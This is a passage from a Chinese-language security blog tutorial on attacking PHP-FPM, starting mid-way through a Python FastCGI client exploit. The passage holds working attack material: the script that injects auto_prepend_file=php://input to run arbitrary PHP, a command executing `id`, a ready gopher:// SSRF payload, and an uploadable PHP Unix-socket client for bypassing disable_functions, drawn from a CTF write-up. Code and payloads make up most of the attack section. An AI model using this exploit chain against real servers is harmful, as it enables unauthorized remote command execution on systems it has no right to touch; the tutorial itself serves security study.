skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
# if not self.__connect():
# print('connect failure! please check your fasctcgi-server !!')
# return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
#print base64.b64encode(request)
return request
# self.sock.send(request)
# self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
# self.requests[requestId]['response'] = b''
# return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
response = urllib.quote(response)
print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)

攻击利用

前提条件是目标站点存在SSRF漏洞,代码如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

而且目标站点的PHP-FPM服务只在本地监听,外网访问不了,这里我们外网用nmap扫发现被过滤了:

此时,直接用前面改过的脚本,运行如下命令,FPM地址写本地就好:

1
python fpm_ssrf.py -c '<?php echo `id`;exit;?>' -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php

得到如下Gopher协议包数据:

1
gopher://127.0.0.1:9000/_%01%01z1%00%08%00%00%00%01%00%00%00%00%00%00%01%04z1%01%E7%00%00%0E%02CONTENT_LENGTH23%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04z1%00%00%00%00%01%05z1%00%17%00%00%3C%3Fphp%20echo%20%60id%60%3Bexit%3B%3F%3E%01%05z1%00%00%00%00

在打SSRF之前,需要再进行一次URL编码,这是因为在服务端中Nginx和FPM分别会进行一次URL解码:

编码后直接SSRF打过去就好了:

0x06 攻击Unix套接字模式下的PHP-FPM

前面说的Unix Socket模式就讲到,这种模式在同一环境下是通过如/run/php/php7.3-fpm.sock的sock文件来进行通信的。

具体的攻击场景可参考*CTF echohub这道题,题目做到后面是涉及到如何绕过disable_functions,而从题目中获取的信息可知服务器是还存在一个FPM服务且是以Unix套接字模式进行通信的。

如何攻击利用呢?

这里参考了ROIS的wp,由于stream_socket_client()函数未被禁用,因此我们可以利用它来和本地Unix套接字模式的FPM服务进行通信,下面的脚本是建立一个Unix Socket客户端连接,然后写入TCP流进行通信,内容是我们恶意构造的FastCGI协议报文:

1
2
3
4
5
6
7
<?php 
$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));
?>
//来自https://xz.aliyun.com/t/5006#toc-3
//ROIS的*CTF WP

将该PHP文件上传到目标服务端,等待我们发送的Unix Socket连接来传输TCP流数据、。

接着,在前面SSRF脚本的基础上,改掉最后的几行代码,将URL编码和拼接Gopher协议部分注释掉,取而代之的是对FastCGI协议报文进行base64编码并输出出来:

1
2
3
4
5
response = client.request(params, content)
# response = urllib.quote(response)
# print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)
response = base64.b64encode(response)
print(response)

运行后得到base64编码内容:

最后,只需将编码后的内容发到前面上传的PHP文件中和FPM服务进行Unix Socket通信,从而绕过disable_functions、达到任意命令执行的目的。

由于已无题目环境,这里就无截图了。

0x07 助攻disable_functions绕过

具体的可参考《从蚁剑插件看利用PHP-FPM绕过disable_functions》

0x08 参考

【运维安全】Fastcgi配置不当对外开放利用

浅析php-fpm的攻击方式

PHP 连接方式介绍以及如何攻击 PHP-FPM

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写


Copyright © Mi1k7ea | 本站总访问量